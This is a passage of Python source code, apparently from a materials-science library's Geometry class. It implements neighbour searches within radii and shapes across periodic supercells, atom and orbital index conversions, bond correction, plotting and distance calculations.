or ret_rij:\n return [ret[0][0], ret[1][0]]\n return ret[0][0]\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n # Calculate distance\n if ret_rij:\n d = sqrt(square(xa - off[None, :]).sum(1))\n\n # Create the initial lists that we will build up\n # Then finally, we will return the reversed lists\n\n # Quick return\n if nshapes == 1:\n ret = [[atoms]]\n if ret_xyz:\n ret.append([xa])\n if ret_rij:\n ret.append([d])\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n # TODO Check that all shapes coincide with the following shapes\n\n # Now we create a list of indices which coincide\n # in each of the shapes\n # Do a reduction on each of the list elements\n ixS = []\n cum = np.array([], atoms.dtype)\n for i, s in enumerate(shapes):\n x = s.within_index(xa)\n if i > 0:\n x = np.setdiff1d(x, cum, assume_unique=True)\n # Update elements to remove in next loop\n cum = np.append(cum, x)\n ixS.append(x)\n\n # Do for the first shape\n ret = [[_a.asarrayi(atoms[ixS[0]]).ravel()]]\n rc = 0\n if ret_xyz:\n rc = rc + 1\n ret.append([xa[ixS[0], :]])\n if ret_rij:\n rd = rc + 1\n ret.append([d[ixS[0]]])\n for i in range(1, nshapes):\n ret[0].append(_a.asarrayi(atoms[ixS[i]]).ravel())\n if ret_xyz:\n ret[rc].append(xa[ixS[i], :])\n if ret_rij:\n ret[rd].append(d[ixS[i]])\n\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n def close_sc(\n self,\n xyz_ia,\n isc=(0, 0, 0),\n R=None,\n atoms: Optional[AtomsArgument] = None,\n atoms_xyz=None,\n ret_xyz=False,\n ret_rij=False,\n ):\n \"\"\"Indices of atoms in a given supercell within a given radius from a given coordinate\n\n This returns a set of atomic indices which are within a\n sphere of radius `R`.\n\n If `R` is a tuple/list/array it will return the indices:\n in the ranges:\n\n >>> ( x <= R[0] , R[0] < x <= R[1], R[1] < x <= R[2] )\n\n Parameters\n ----------\n xyz_ia : array_like of floats or int\n Either a point in space or an index of an atom.\n If an index is passed it is the equivalent of passing\n the atomic coordinate ``close_sc(self.xyz[xyz_ia,:])``.\n isc : (3,), optional\n Integer super-cell offsets in which the coordinates are checked in.\n I.e. ``isc=[0, 0, 0]`` is the primary cell (default).\n R : float or array_like, optional\n The radii parameter to where the atomic connections are found.\n If `R` is an array it will return the indices:\n in the ranges ``( x <= R[0] , R[0] < x <= R[1], R[1] < x <= R[2] )``.\n If a single float it will return ``x <= R``.\n atoms :\n List of atoms that will be considered. This can\n be used to only take out a certain atom.\n atoms_xyz : array_like of float, optional\n The atomic coordinates of the equivalent `atoms` variable (`atoms` must also be passed)\n ret_xyz :\n If True this method will return the coordinates\n for each of the couplings.\n ret_rij :\n If True this method will return the distance\n for each of the couplings.\n\n Returns\n -------\n index\n indices of atoms (in supercell indices) within the shells of radius `R`\n xyz\n atomic coordinates of the indexed atoms (only for true `ret_xyz`)\n rij\n distance of the indexed atoms to the center coordinate (only for true `ret_rij`)\n \"\"\"\n maxR = self.maxR() + 0.001\n if R is None:\n R = np.array([maxR], np.float64)\n elif not isndarray(R):\n R = _a.asarrayd(R).ravel()\n\n # Maximum distance queried\n max_R = R[-1]\n if atoms is not None and max_R > maxR + 0.1:\n warn(\n f\"{self.__class__.__name__}.close_sc has been passed an 'atoms' argument \"\n \"together with an R value larger than the orbital ranges. \"\n \"If used together with 'sparse-matrix.construct' this can result in wrong couplings.\",\n register=True,\n )\n\n # Convert to actual array\n if atoms is not None:\n atoms = self._sanitize_atoms(atoms).ravel()\n else:\n # If atoms is None, then atoms_xyz cannot be used!\n atoms_xyz = None\n\n if isinstance(xyz_ia, Integral):\n off = self.xyz[xyz_ia]\n elif not isndarray(xyz_ia):\n off = _a.asarrayd(xyz_ia)\n elif xyz_ia.ndim == 0:\n off = self.xyz[xyz_ia]\n else:\n off = xyz_ia\n\n # Calculate the complete offset\n foff = self.lattice.offset(isc) - off\n\n # Get distances between `xyz_ia` and `atoms`\n if atoms_xyz is None:\n dxa = self.axyz(atoms) + foff\n else:\n # For extremely large systems re-using the\n # atoms_xyz is faster than indexing\n # a very large array\n dxa = atoms_xyz + foff\n\n # Immediately downscale by easy checking\n # This will reduce the computation of the vector-norm\n # which is the main culprit of the time-consumption\n # This abstraction will _only_ help very large\n # systems.\n # For smaller ones this will actually be a slower\n # method..\n if atoms is None:\n atoms, d = indices_in_sphere_with_dist(dxa, max_R)\n dxa = dxa[atoms].reshape(-1, 3)\n else:\n ix, d = indices_in_sphere_with_dist(dxa, max_R)\n atoms = atoms[ix]\n dxa = dxa[ix].reshape(-1, 3)\n del ix\n\n if len(atoms) == 0:\n # Create default return\n ret = [[_a.emptyi([0]) for _ in R]]\n if ret_xyz:\n ret.append([_a.emptyd([0, 3]) for _ in R])\n if ret_rij:\n ret.append([_a.emptyd([0]) for _ in R])\n\n # Quick return if there are\n # no entries...\n if len(R) == 1:\n if ret_xyz and ret_rij:\n return [ret[0][0], ret[1][0], ret[2][0]]\n elif ret_xyz or ret_rij:\n return [ret[0][0], ret[1][0]]\n return ret[0][0]\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n if ret_xyz:\n xa = dxa + off\n del dxa # just because this array could be very big...\n\n # Check whether we only have one range to check.\n # If so, we need not reduce the index space\n if len(R) == 1:\n ret = [atoms]\n if ret_xyz:\n ret.append(xa)\n if ret_rij:\n ret.append(d)\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n if not is_ascending(R):\n raise ValueError(\n f\"{self.__class__.__name__}.close_sc proximity checks for several \"\n \"quantities at a time requires ascending R values.\"\n )\n\n # The more neigbours you wish to find the faster this becomes\n # We only do \"one\" heavy duty search,\n # then we immediately reduce search space to this subspace\n tidx = indices_le(d, R[0])\n ret = [[atoms[tidx]]]\n r_app = ret[0].append\n if ret_xyz:\n ret.append([xa[tidx]])\n r_appx = ret[1].append\n if ret_rij:\n ret.append([d[tidx]])\n r_appd = ret[-1].append\n\n if ret_xyz and ret_rij:\n for i in range(1, len(R)):\n # Search in the sub-space\n # Notice that this sub-space reduction will never\n # allow the same indice to be in two ranges (due to\n # numerics)\n tidx = indices_gt_le(d, R[i - 1], R[i])\n r_app(atoms[tidx])\n r_appx(xa[tidx])\n r_appd(d[tidx])\n elif ret_xyz:\n for i in range(1, len(R)):\n tidx = indices_gt_le(d, R[i - 1], R[i])\n r_app(atoms[tidx])\n r_appx(xa[tidx])\n elif ret_rij:\n for i in range(1, len(R)):\n tidx = indices_gt_le(d, R[i - 1], R[i])\n r_app(atoms[tidx])\n r_appd(d[tidx])\n else:\n for i in range(1, len(R)):\n tidx = indices_gt_le(d, R[i - 1], R[i])\n r_app(atoms[tidx])\n\n if ret_xyz or ret_rij:\n return ret\n return ret[0]\n\n def bond_correct(self, ia: int, atoms: AtomsArgument, method=\"calc\") -> None:\n \"\"\"Corrects the bond between `ia` and the `atoms`.\n\n Corrects the bond-length between atom `ia` and `atoms` in such\n a way that the atomic radius is preserved.\n I.e. the sum of the bond-lengths minimizes the distance matrix.\n\n Only atom `ia` is moved.\n\n Parameters\n ----------\n ia :\n The atom to be displaced according to the atomic radius\n atoms :\n The atom(s) from which the radius should be reduced.\n method : str, float, optional\n If str will use that as lookup in `Atom.radius`.\n Else it will be the new bond-length.\n \"\"\"\n\n # Decide which algorithm to choose from\n atoms = self._sanitize_atoms(atoms).ravel()\n if len(atoms) == 1:\n algo = atoms[0]\n else:\n # signal a list of atoms\n algo = -1\n\n if algo >= 0:\n # We have a single atom\n # Get bond length in the closest direction\n # A bond-length HAS to be below 10\n atoms, c, d = self.close(\n ia, R=(0.1, 10.0), atoms=algo, ret_xyz=True, ret_rij=True\n )\n i = np.argmin(d[1])\n # Convert to unitcell atom (and get the one atom)\n atoms = self.sc2uc(atoms[1][i])\n c = c[1][i]\n d = d[1][i]\n\n # Calculate the bond vector\n bv = self.xyz[ia, :] - c\n\n try:\n # If it is a number, we use that.\n rad = float(method)\n except Exception:\n # get radius\n rad = self.atoms[atoms].radius(method) + self.atoms[ia].radius(method)\n\n # Update the coordinate\n self.xyz[ia, :] = c + bv / d * rad\n\n else:\n raise NotImplementedError(\n \"Changing bond-length dependent on several lacks implementation.\"\n )\n\n def within(\n self,\n shapes,\n atoms: Optional[AtomsArgument] = None,\n atoms_xyz=None,\n ret_xyz: bool = False,\n ret_rij: bool = False,\n ret_isc: bool = False,\n ):\n \"\"\"Indices of atoms in the entire supercell within a given shape from a given coordinate\n\n This heavily relies on the `within_sc` method.\n\n Note that if a connection is made in a neighbouring super-cell\n then the atomic index is shifted by the super-cell index times\n number of atoms.\n This allows one to decipher super-cell atoms from unit-cell atoms.\n\n Parameters\n ----------\n shapes : Shape, list of Shape\n atoms :\n List of indices for atoms that are to be considered\n atoms_xyz : array_like, optional\n The atomic coordinates of the equivalent `atoms` variable (`atoms` must also be passed)\n ret_xyz :\n If true this method will return the coordinates\n for each of the couplings.\n ret_rij :\n If true this method will return the distances from the `xyz_ia`\n for each of the couplings.\n ret_isc :\n If true this method will return the supercell offsets for each of the couplings.\n\n Returns\n -------\n index\n indices of atoms (in supercell indices) within the shape\n xyz\n atomic coordinates of the indexed atoms (only for true `ret_xyz`)\n rij\n distance of the indexed atoms to the center of the shape (only for true `ret_rij`)\n isc\n supercell indices of the couplings (only for true `ret_isc`)\n \"\"\"\n\n # Ensure that `shapes` is a list\n if isinstance(shapes, Shape):\n shapes = [shapes]\n nshapes = len(shapes)\n\n ret = [[np.empty([0], np.int32)] * nshapes]\n i = 0\n if ret_xyz:\n ixyz = i + 1\n i += 1\n ret.append([np.empty([0, 3], np.float64)] * nshapes)\n if ret_rij:\n irij = i + 1\n i += 1\n ret.append([np.empty([0], np.float64)] * nshapes)\n if ret_isc:\n iisc = i + 1\n i += 1\n ret.append([np.empty([0, 3], np.int32)] * nshapes)\n\n # number of special returns\n n_ret = i\n listify = n_ret == 0 or (n_ret == 1 and ret_isc)\n\n def isc_tile(isc, n):\n return tile(isc.reshape(1, -1), (n, 1))\n\n for s in range(self.n_s):\n na = self.na * s\n isc = self.lattice.sc_off[s, :]\n sret = self.within_sc(\n shapes,\n self.lattice.sc_off[s, :],\n atoms=atoms,\n atoms_xyz=atoms_xyz,\n ret_xyz=ret_xyz,\n ret_rij=ret_rij,\n )\n\n if listify:\n # This is to \"fake\" the return\n # of a list (we will do indexing!)\n sret = [sret]\n\n if isinstance(sret[0], list):\n # we have a list of arrays (nshapes > 1)\n for i, x in enumerate(sret[0]):\n ret[0][i] = concatenate((ret[0][i], x + na), axis=0)\n if ret_xyz:\n ret[ixyz][i] = concatenate(\n (ret[ixyz][i], sret[ixyz][i]), axis=0\n )\n if ret_rij:\n ret[irij][i] = concatenate(\n (ret[irij][i], sret[irij][i]), axis=0\n )\n if ret_isc:\n ret[iisc][i] = concatenate(\n (ret[iisc][i], isc_tile(isc, len(x))), axis=0\n )\n elif len(sret[0]) > 0:\n # We can add it to the list (nshapes == 1)\n # We add the atomic offset for the supercell index\n ret[0][0] = concatenate((ret[0][0], sret[0] + na), axis=0)\n if ret_xyz:\n ret[ixyz][0] = concatenate((ret[ixyz][0], sret[ixyz]), axis=0)\n if ret_rij:\n ret[irij][0] = concatenate((ret[irij][0], sret[irij]), axis=0)\n if ret_isc:\n ret[iisc][0] = concatenate(\n (ret[iisc][0], isc_tile(isc, len(sret[0]))), axis=0\n )\n\n if nshapes == 1:\n if n_ret == 0:\n return ret[0][0]\n return tuple(ret[i][0] for i in range(n_ret + 1))\n\n if n_ret == 0:\n return ret[0]\n return ret\n\n def close(\n self,\n xyz_ia,\n R=None,\n atoms: Optional[AtomsArgument] = None,\n atoms_xyz=None,\n ret_xyz: bool = False,\n ret_rij: bool = False,\n ret_isc: bool = False,\n ):\n \"\"\"Indices of atoms in the entire supercell within a given radius from a given coordinate\n\n This heavily relies on the `close_sc` method.\n\n Note that if a connection is made in a neighbouring super-cell\n then the atomic index is shifted by the super-cell index times\n number of atoms.\n This allows one to decipher super-cell atoms from unit-cell atoms.\n\n Parameters\n ----------\n xyz_ia : coordinate/index\n Either a point in space or an index of an atom.\n If an index is passed it is the equivalent of passing\n the atomic coordinate ``close_sc(self.xyz[xyz_ia,:])``.\n R : (None), float/tuple of float\n The radii parameter to where the atomic connections are found.\n If `R` is an array it will return the indices:\n in the ranges:\n\n >>> ( x <= R[0] , R[0] < x <= R[1], R[1] < x <= R[2] )\n\n If a single float it will return:\n\n >>> x <= R\n\n atoms :\n List of indices for atoms that are to be considered\n atoms_xyz : array_like, optional\n The atomic coordinates of the equivalent `atoms` variable (`atoms` must also be passed)\n ret_xyz :\n If true this method will return the coordinates\n for each of the couplings.\n ret_rij :\n If true this method will return the distances from the `xyz_ia`\n for each of the couplings.\n ret_isc :\n If true this method will return the lattice offset from `xyz_ia`\n for each of the couplings.\n\n Returns\n -------\n index\n indices of atoms (in supercell indices) within the shells of radius `R`\n xyz\n atomic coordinates of the indexed atoms (only for true `ret_xyz`)\n rij\n distance of the indexed atoms to the center coordinate (only for true `ret_rij`)\n isc\n integer lattice offsets for the couplings (related to `rij` without atomic coordinates)\n \"\"\"\n if R is None:\n R = self.maxR() + 0.001\n R = _a.asarrayd(R).ravel()\n nR = R.size\n\n # Convert index coordinate to point\n if isinstance(xyz_ia, Integral):\n xyz_ia = self.xyz[xyz_ia]\n elif not isndarray(xyz_ia):\n xyz_ia = _a.asarrayd(xyz_ia)\n\n ret = [[np.empty([0], np.int32)] * nR]\n i = 0\n if ret_xyz:\n ixyz = i + 1\n i += 1\n ret.append([np.empty([0, 3], np.float64)] * nR)\n if ret_rij:\n irij = i + 1\n i += 1\n ret.append([np.empty([0], np.float64)] * nR)\n if ret_isc:\n iisc = i + 1\n i += 1\n ret.append([np.empty([0, 3], np.int32)] * nR)\n\n # number of special returns\n n_ret = i\n listify = n_ret == 0 or (n_ret == 1 and ret_isc)\n\n def isc_tile(isc, n):\n return tile(isc.reshape(1, -1), (n, 1))\n\n for s in range(self.n_s):\n na = self.na * s\n isc = self.lattice.sc_off[s]\n sret = self.close_sc(\n xyz_ia,\n isc,\n R=R,\n atoms=atoms,\n atoms_xyz=atoms_xyz,\n ret_xyz=ret_xyz,\n ret_rij=ret_rij,\n )\n\n if listify:\n # This is to \"fake\" the return\n # of a list (we will do indexing!)\n sret = [sret]\n\n if isinstance(sret[0], list):\n # we have a list of arrays (len(R) > 1)\n for i, x in enumerate(sret[0]):\n ret[0][i] = concatenate((ret[0][i], x + na), axis=0)\n if ret_xyz:\n ret[ixyz][i] = concatenate(\n (ret[ixyz][i], sret[ixyz][i]), axis=0\n )\n if ret_rij:\n ret[irij][i] = concatenate(\n (ret[irij][i], sret[irij][i]), axis=0\n )\n if ret_isc:\n ret[iisc][i] = concatenate(\n (ret[iisc][i], isc_tile(isc, len(x))), axis=0\n )\n elif len(sret[0]) > 0:\n # We can add it to the list (len(R) == 1)\n # We add the atomic offset for the supercell index\n ret[0][0] = concatenate((ret[0][0], sret[0] + na), axis=0)\n if ret_xyz:\n ret[ixyz][0] = concatenate((ret[ixyz][0], sret[ixyz]), axis=0)\n if ret_rij:\n ret[irij][0] = concatenate((ret[irij][0], sret[irij]), axis=0)\n if ret_isc:\n ret[iisc][0] = concatenate(\n (ret[iisc][0], isc_tile(isc, len(sret[0]))), axis=0\n )\n\n if nR == 1:\n if n_ret == 0:\n return ret[0][0]\n return tuple(ret[i][0] for i in range(n_ret + 1))\n\n if n_ret == 0:\n return ret[0]\n return ret\n\n def a2transpose(\n self, atoms1: AtomsArgument, atoms2: Optional[AtomsArgument] = None\n ) -> Tuple[ndarray, ndarray]:\n \"\"\"Transposes connections from `atoms1` to `atoms2` such that supercell connections are transposed\n\n When handling supercell indices it is useful to get the *transposed* connection. I.e. if you have\n a connection from site ``i`` (in unit cell indices) to site ``j`` (in supercell indices) it may be\n useful to get the equivalent supercell connection such for site ``j`` (in unit cell indices) to\n site ``i`` (in supercell indices) such that they correspond to the transposed coupling.\n\n Note that since this transposes couplings the indices returned are always expanded to the full\n length if either of the inputs are a single index.\n\n Examples\n --------\n >>> gr = geom.graphene()\n >>> atoms = gr.close(0, 1.5)\n >>> atoms\n array([0, 1, 5, 9], dtype=int32)\n >>> gr.a2transpose(0, atoms)\n (array([0, 1, 1, 1], dtype=int32), array([ 0, 0, 14, 10], dtype=int32))\n\n Parameters\n ----------\n atoms1 :\n atomic indices must have same length as `atoms2` or length 1\n atoms2 :\n atomic indices must have same length as `atoms1` or length 1.\n If not present then only `atoms1` will be returned in transposed indices.\n\n Returns\n -------\n atoms2 : array_like\n transposed indices for atoms2 (only returned if `atoms2` is not None)\n atoms1 : array_like\n transposed indices for atoms1\n \"\"\"\n # First check whether they have the same size, if so then do not pre-process\n atoms1 = self._sanitize_atoms(atoms1)\n if atoms2 is None:\n # we only need to transpose atoms1\n offset = self.lattice.sc_index(-self.a2isc(atoms1)) * self.na\n return atoms1 % self.na + offset\n\n atoms2 = self._sanitize_atoms(atoms2)\n if atoms1.size == atoms2.size:\n pass\n elif atoms1.size == 1: # typical case where atoms1 is a single number\n atoms1 = np.tile(atoms1, atoms2.size)\n elif atoms2.size == 1:\n atoms2 = np.tile(atoms2, atoms1.size)\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.a2transpose only allows length 1 or same length arrays.\"\n )\n\n # Now convert atoms\n na = self.na\n sc_index = self.lattice.sc_index\n isc1 = self.a2isc(atoms1)\n isc2 = self.a2isc(atoms2)\n\n atoms1 = atoms1 % na + sc_index(-isc2) * na\n atoms2 = atoms2 % na + sc_index(-isc1) * na\n return atoms2, atoms1\n\n def o2transpose(\n self, orb1: OrbitalsArgument, orb2: Optional[OrbitalsArgument] = None\n ) -> Tuple[ndarray, ndarray]:\n \"\"\"Transposes connections from `orb1` to `orb2` such that supercell connections are transposed\n\n When handling supercell indices it is useful to get the *transposed* connection. I.e. if you have\n a connection from site ``i`` (in unit cell indices) to site ``J`` (in supercell indices) it may be\n useful to get the equivalent supercell connection such for site ``j`` (in unit cell indices) to\n site ``I`` (in supercell indices) such that they correspond to the transposed coupling.\n\n Note that since this transposes couplings the indices returned are always expanded to the full\n length if either of the inputs are a single index.\n\n Examples\n --------\n >>> gr = geom.graphene() # one orbital per site\n >>> atoms = gr.close(0, 1.5)\n >>> atoms\n array([0, 1, 5, 9], dtype=int32)\n >>> gr.o2transpose(0, atoms)\n (array([0, 1, 1, 1], dtype=int32), array([ 0, 0, 14, 10], dtype=int32))\n\n Parameters\n ----------\n orb1 :\n orbital indices must have same length as `orb2` or length 1\n orb2 :\n orbital indices must have same length as `orb1` or length 1.\n If not present then only `orb1` will be returned in transposed indices.\n\n Returns\n -------\n orb2 : array_like\n transposed indices for orb2 (only returned if `orb2` is not None)\n orb1 : array_like\n transposed indices for orb1\n \"\"\"\n # First check whether they have the same size, if so then do not pre-process\n orb1 = self._sanitize_orbs(orb1)\n if orb2 is None:\n # we only need to transpose orb1\n offset = self.lattice.sc_index(-self.o2isc(orb1)) * self.no\n return orb1 % self.no + offset\n\n orb2 = self._sanitize_orbs(orb2)\n if orb1.size == orb2.size:\n pass\n elif orb1.size == 1: # typical case where orb1 is a single number\n orb1 = np.tile(orb1, orb2.size)\n elif orb2.size == 1:\n orb2 = np.tile(orb2, orb1.size)\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.o2transpose only allows length 1 or same length arrays.\"\n )\n\n # Now convert orbs\n no = self.no\n sc_index = self.lattice.sc_index\n isc1 = self.o2isc(orb1)\n isc2 = self.o2isc(orb2)\n\n orb1 = orb1 % no + sc_index(-isc2) * no\n orb2 = orb2 % no + sc_index(-isc1) * no\n return orb2, orb1\n\n def a2o(self, atoms: AtomsArgument, all: bool = False) -> ndarray:\n \"\"\"\n Returns an orbital index of the first orbital of said atom.\n This is particularly handy if you want to create\n TB models with more than one orbital per atom.\n\n Note that this will preserve the super-cell offsets.\n\n Parameters\n ----------\n atoms :\n Atomic indices\n all :\n ``False``, return only the first orbital corresponding to the atom,\n ``True``, returns list of the full atom(s), will always return a 1D array.\n \"\"\"\n # we must not alter `atoms` as it may come from outside\n off, atoms = np.divmod(self._sanitize_atoms(atoms), self.na)\n is_integral = isinstance(atoms, Integral)\n off *= self.no\n if not all:\n return self.firsto[atoms] + off\n ob = (self.firsto[atoms] + off).ravel()\n oe = (self.lasto[atoms] + off + 1).ravel()\n\n # Create ranges\n if is_integral:\n return _a.arangei(ob, oe)\n\n return _a.array_arange(ob, oe)\n\n def o2a(self, orbitals: OrbitalsArgument, unique: bool = False) -> ndarray:\n \"\"\"Atomic index corresponding to the orbital indicies.\n\n Note that this will preserve the super-cell offsets.\n\n Parameters\n ----------\n orbitals :\n List of orbital indices to return the atoms for\n unique :\n If True only return the unique atoms.\n \"\"\"\n orbitals = self._sanitize_orbs(orbitals)\n if orbitals.ndim == 0:\n # must only be 1 number (an Integral)\n return (\n np.argmax(orbitals % self.no <= self.lasto)\n + (orbitals // self.no) * self.na\n )\n\n isc, orbitals = np.divmod(_a.asarrayi(orbitals.ravel()), self.no)\n a = list_index_le(orbitals, self.lasto)\n if unique:\n return np.unique(a + isc * self.na)\n return a + isc * self.na\n\n def uc2sc(self, atoms: AtomsArgument, unique: bool = False) -> ndarray:\n \"\"\"Returns atom from unit-cell indices to supercell indices, possibly removing dublicates\n\n Parameters\n ----------\n atoms :\n the atomic unit-cell indices to be converted to supercell indices\n unique :\n If True the returned indices are unique and sorted.\n \"\"\"\n atoms = self._sanitize_atoms(atoms) % self.na\n atoms = (\n atoms.reshape(1, -1) + _a.arangei(self.n_s).reshape(-1, 1) * self.na\n ).ravel()\n if unique:\n return np.unique(atoms)\n return atoms\n\n auc2sc = uc2sc\n\n def sc2uc(self, atoms: AtomsArgument, unique: bool = False) -> ndarray:\n \"\"\"Returns atoms from supercell indices to unit-cell indices, possibly removing dublicates\n\n Parameters\n ----------\n atoms :\n the atomic supercell indices to be converted to unit-cell indices\n unique :\n If True the returned indices are unique and sorted.\n \"\"\"\n atoms = self._sanitize_atoms(atoms) % self.na\n if unique:\n return np.unique(atoms)\n return atoms\n\n asc2uc = sc2uc\n\n def osc2uc(self, orbitals: OrbitalsArgument, unique: bool = False) -> ndarray:\n \"\"\"Orbitals from supercell indices to unit-cell indices, possibly removing dublicates\n\n Parameters\n ----------\n orbitals :\n the orbital supercell indices to be converted to unit-cell indices\n unique :\n If True the returned indices are unique and sorted.\n \"\"\"\n orbitals = self._sanitize_orbs(orbitals) % self.no\n if unique:\n return np.unique(orbitals)\n return orbitals\n\n def ouc2sc(self, orbitals: OrbitalsArgument, unique: bool = False) -> ndarray:\n \"\"\"Orbitals from unit-cell indices to supercell indices, possibly removing dublicates\n\n Parameters\n ----------\n orbitals :\n the orbital unit-cell indices to be converted to supercell indices\n unique :\n If True the returned indices are unique and sorted.\n \"\"\"\n orbitals = self._sanitize_orbs(orbitals) % self.no\n orbitals = (\n orbitals.reshape(1, *orbitals.shape)\n + _a.arangei(self.n_s).reshape(-1, *([1] * orbitals.ndim)) * self.no\n ).ravel()\n if unique:\n return np.unique(orbitals)\n return orbitals\n\n def a2isc(self, atoms: AtomsArgument) -> ndarray:\n \"\"\"Super-cell indices for a specific/list atom\n\n Returns a vector of 3 numbers with integers.\n Any multi-dimensional input will be flattened before return.\n\n The returned indices will thus always be a 2D matrix or a 1D vector.\n\n Parameters\n ----------\n atoms :\n atom indices to extract the supercell locations of\n \"\"\"\n atoms = self._sanitize_atoms(atoms) // self.na\n if atoms.ndim > 1:\n atoms = atoms.ravel()\n return self.lattice.sc_off[atoms, :]\n\n # This function is a bit weird, it returns a real array,\n # however, there should be no ambiguity as it corresponds to th\n # offset and \"what else\" is there to query?\n def a2sc(self, atoms: AtomsArgument) -> ndarray:\n \"\"\"Returns the super-cell offset for a specific atom\n\n Parameters\n ----------\n atoms :\n atom indices to extract the supercell offsets of\n \"\"\"\n return self.lattice.offset(self.a2isc(atoms))\n\n def o2isc(self, orbitals: OrbitalsArgument) -> ndarray:\n \"\"\"\n Returns the super-cell index for a specific orbital.\n\n Returns a vector of 3 numbers with integers.\n \"\"\"\n orbitals = self._sanitize_orbs(orbitals) // self.no\n if orbitals.ndim > 1:\n orbitals = orbitals.ravel()\n return self.lattice.sc_off[orbitals, :]\n\n def o2sc(self, orbitals: OrbitalsArgument) -> ndarray:\n \"\"\"\n Returns the super-cell offset for a specific orbital.\n \"\"\"\n return self.lattice.offset(self.o2isc(orbitals))\n\n def __plot__(\n self,\n axis=None,\n lattice: bool = True,\n axes=False,\n atom_indices: bool = False,\n *args,\n **kwargs,\n ):\n \"\"\"Plot the geometry in a specified ``matplotlib.Axes`` object.\n\n Parameters\n ----------\n axis : array_like, optional\n only plot a subset of the axis, defaults to all axis\n lattice : bool, optional\n If `True` also plot the lattice structure\n atom_indices : bool, optional\n if true, also add atomic numbering in the plot (0-based)\n axes : bool or matplotlib.Axes, optional\n the figure axes to plot in (if ``matplotlib.Axes`` object).\n If `True` it will create a new figure to plot in.\n If `False` it will try and grap the current figure and the current axes.\n \"\"\"\n # Default dictionary for passing to newly created figures\n d = dict()\n\n colors = np.linspace(0, 1, num=self.atoms.nspecie, endpoint=False)\n colors = colors[self.atoms.specie]\n if \"s\" in kwargs:\n area = kwargs.pop(\"s\")\n else:\n area = _a.arrayd(self.atoms.Z)\n area[:] *= 20 * np.pi / area.min()\n\n if axis is None:\n axis = [0, 1, 2]\n\n # Ensure we have a new 3D Axes3D\n if len(axis) == 3:\n d[\"projection\"] = \"3d\"\n\n # The Geometry determines the axes, then we pass it to supercell.\n axes = plt.get_axes(axes, **d)\n\n # Start by plotting the supercell\n if lattice:\n axes = self.lattice.__plot__(axis, axes=axes, *args, **kwargs)\n\n # Create short-hand\n xyz = self.xyz\n\n if axes.__class__.__name__.startswith(\"Axes3D\"):\n # We should plot in 3D plots\n axes.scatter(xyz[:, 0], xyz[:, 1], xyz[:, 2], s=area, c=colors, alpha=0.8)\n axes.set_zlabel(\"Ang\")\n if atom_indices:\n for i, loc in enumerate(xyz):\n axes.text(\n loc[0], loc[1], loc[2], str(i), verticalalignment=\"bottom\"\n )\n\n else:\n axes.scatter(xyz[:, axis[0]], xyz[:, axis[1]], s=area, c=colors, alpha=0.8)\n if atom_indices:\n for i, loc in enumerate(xyz):\n axes.text(\n loc[axis[0]], loc[axis[1]], str(i), verticalalignment=\"bottom\"\n )\n\n axes.set_xlabel(\"Ang\")\n axes.set_ylabel(\"Ang\")\n\n return axes\n\n def equal(self, other: GeometryLike, R: bool = True, tol: float = 1e-4) -> bool:\n \"\"\"Whether two geometries are the same (optional not check of the orbital radius)\n\n Parameters\n ----------\n other :\n the other Geometry to check against\n R :\n if True also check if the orbital radii are the same (see `Atom.equal`)\n tol :\n tolerance for checking the atomic coordinates\n \"\"\"\n other = self.new(other)\n if not isinstance(other, Geometry):\n return False\n same = self.lattice.equal(other.lattice, tol=tol)\n same = same and np.allclose(self.xyz, other.xyz, atol=tol)\n same = same and self.atoms.equal(other.atoms, R)\n return same\n\n def __eq__(self, other):\n return self.equal(other)\n\n def __ne__(self, other):\n return not (self == other)\n\n def sparserij(self, dtype=np.float64, na_iR: int = 1000, method=\"rand\"):\n \"\"\"Return the sparse matrix with all distances in the matrix\n The sparse matrix will only be defined for the elements which have\n orbitals overlapping with other atoms.\n\n Parameters\n ----------\n dtype : numpy.dtype, numpy.float64\n the data-type of the sparse matrix\n na_iR :\n number of atoms within the sphere for speeding\n up the `iter_block` loop.\n method : str, optional\n see `iter_block` for details\n\n Returns\n -------\n SparseAtom\n sparse matrix with all rij elements\n\n See Also\n --------\n iter_block : the method for looping the atoms\n distance : create a list of distances\n \"\"\"\n from .sparse_geometry import SparseAtom\n\n rij = SparseAtom(self, nnzpr=20, dtype=dtype)\n\n # Get R\n R = (0.1, self.maxR() + 0.001)\n iR = self.iR(na_iR)\n\n # Do the loop\n for ias, atoms in self.iter_block(iR=iR, method=method):\n # Get all the indexed atoms...\n # This speeds up the searching for\n # coordinates...\n atoms_xyz = self[atoms, :]\n\n # Loop the atoms inside\n for ia in ias:\n idx, r = self.close(\n ia, R=R, atoms=atoms, atoms_xyz=atoms_xyz, ret_rij=True\n )\n rij[ia, ia] = 0.0\n rij[ia, idx[1]] = r[1]\n\n return rij\n\n def distance(\n self,\n atoms: Optional[AtomsArgument] = None,\n R: Optional[float] = None,\n tol: float = 0.1,\n method: str = \"average\",\n ) -> Union[float, ndarray]:\n \"\"\"Calculate the distances for all atoms in shells of radius `tol` within `max_R`\n\n Parameters\n ----------\n atoms :\n only create list of distances from the given atoms, default to all atoms\n R :\n the maximum radius to consider, default to ``self.maxR()``.\n To retrieve all distances for atoms within the supercell structure\n you can pass `numpy.inf`.\n tol : float or array_like, optional\n the tolerance for grouping a set of atoms.\n This parameter sets the shell radius for each shell.\n I.e. the returned distances between two shells will be maximally\n ``2*tol``, but only if atoms are within two consecutive lists.\n If this is a list, the shells will be of unequal size.\n\n The first shell size will be ``tol * .5`` or ``tol[0] * .5`` if `tol` is a list.\n\n method : {'average', 'mode', '', func}\n How the distance in each shell is determined.\n A list of distances within each shell is gathered and the equivalent\n method will be used to extract a single quantity from the list of\n distances in the shell.\n If `'mode'` is chosen it will use `scipy.stats.mode`.\n If a string is given it will correspond to ``getattr(numpy, method)``,\n while any callable function may be passed. The passed function\n will only be passed a list of unsorted distances that needs to be\n processed.\n\n Examples\n --------\n >>> geom = Geometry([0]*3, Atom(1, R=1.), lattice=Lattice(1., nsc=[5, 5, 1]))\n >>> geom.distance() # use geom.maxR() # doctest: +NORMALIZE_WHITESPACE\n array([1.])\n >>> geom.distance(tol=[0.5, 0.4, 0.3, 0.2])\n array([1.])\n >>> geom.distance(R=2, tol=[0.5, 0.4, 0.3, 0.2]) # doctest: 